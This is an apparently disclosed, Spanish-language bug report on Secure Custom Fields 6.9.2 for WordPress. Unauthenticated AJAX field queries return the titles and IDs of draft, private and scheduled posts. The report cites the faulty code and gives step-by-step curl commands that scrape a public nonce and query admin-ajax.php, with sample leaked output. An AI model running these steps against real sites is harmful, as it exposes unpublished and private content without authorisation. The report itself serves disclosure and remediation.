Resumen
El plugin Secure Custom Fields (SCF) 6.9.2 para WordPress expone a usuarios sin sesión (mediante ganchos wp_ajax_nopriv_) las consultas AJAX que alimentan los selectores de tres tipos de campo: post_object, relationship y page_link. El problema es que esas consultas no filtran por estado de publicación ni comprueban permisos, así que devuelven también entradas en borrador, pendientes, privadas y programadas, además de tipos de contenido personalizados que no son públicos.
HackerOne lo clasificó como control de acceso inadecuado (Improper Access Control - Generic), con severidad media. El programa lo dio por resuelto y pagó recompensa, aunque el importe no es público.
Dónde está el fallo
El registro del manejador sin autenticación está en includes/fields/class-acf-field-post_object.php:
// línea 34
add_action('wp_ajax_nopriv_acf/fields/post_object/query', [$this,'ajax_query']);
ajax_query() (línea 66) llama a get_ajax_query() (línea 96). Allí solo se fija post_status si el propio campo lo tiene configurado, y por defecto no lo tiene:
// línea 148
if ( ! empty( $field['post_status'] ) ) { $args['post_status'] = ...; }
Las consultas acaban en acf_get_grouped_posts( $args ) (includes/api/api-helpers.php, línea 1285), que usa este valor por defecto:
// línea 1299
'post_status' => 'any',
Con 'any', sin el argumento perm y sin ninguna llamada a current_user_can(), WP_Query devuelve también las entradas con estados no públicos: borrador, pendiente, privada y programada. El mismo patrón se repite en class-acf-field-relationship.php y class-acf-field-page_link.php.
Por qué el nonce no protege
La única barrera es acf_verify_ajax() (api-helpers.php, línea 707), que exige un nonce por campo con el nombre acf_field_post_object_<field_key>. Pero cuando el campo se pinta en un formulario público con acf_form() (el uso habitual para que los visitantes envíen o editen entradas desde el front-end), ese nonce aparece en el HTML de la página. Y en WordPress los nonces de usuarios no identificados son iguales para todos los visitantes anónimos (uid 0 y token de sesión vacío), así que cualquiera puede copiarlo y reutilizarlo.
Pasos de reproducción
- Instala WordPress con Secure Custom Fields 6.9.2. Crea un grupo de campos asignado a las entradas con un campo
post_objectsin restricción depost_status(es el valor por defecto). - Muestra ese campo en una página pública mediante un formulario de front-end: una plantilla o bloque que llame a
acf_form_head()y a:
acf_form(array('post_id'=>'new_post','fields'=>array('<field_key>')))
- Crea contenido que no sea público: una entrada en borrador titulada
SECRET-DRAFTy una entrada privada tituladaPRIVATE-POST. - Sin cookies ni credenciales, descarga la página del formulario y extrae el nonce del campo:
curl -s https://SITE/pubform/ | grep -o 'data-nonce="[a-f0-9]*"'
La salida tiene la forma data-nonce="[REDACTADO]".
- Llama al endpoint AJAX sin autenticación con ese nonce:
curl -s https://SITE/wp-admin/admin-ajax.php \
--data 'action=acf/fields/post_object/query&field_key=<field_key>&nonce=[REDACTADO]&paged=1'
La respuesta (HTTP 200) incluye el borrador y la entrada privada junto a la pública:
{"results":[
{"id":1,"text":"Hello world!"},
{"id":32,"text":"PRIVATE-POST (private)"},
{"id":31,"text":"SECRET-DRAFT (draft)"}
],"more":false,"limit":20}
- Para buscar algo en concreto, añade el parámetro
s:
curl ... --data '...&nonce=[REDACTADO]&s=SECRET'
{"results":[{"id":31,"text":"SECRET-DRAFT (draft)"}],...}
El investigador indica que lo reprodujo de principio a fin con un nonce real extraído de la página, sin simular nada.
Impacto
Un atacante sin cuenta puede obtener los títulos y los IDs de entradas en borrador, pendientes, privadas y programadas, es decir, contenido que el sitio no quiere hacer público. Con el parámetro s puede además buscar entradas concretas por palabra clave. Si el campo no está limitado a un tipo de contenido, también quedan al descubierto los tipos personalizados no públicos. En la práctica esto filtra contenido editorial sin publicar, artículos bajo embargo y registros internos o privados.
El escenario descrito en el reporte es el de un sitio que muestra alguno de estos campos en un formulario público con acf_form(), que es donde el nonce queda expuesto.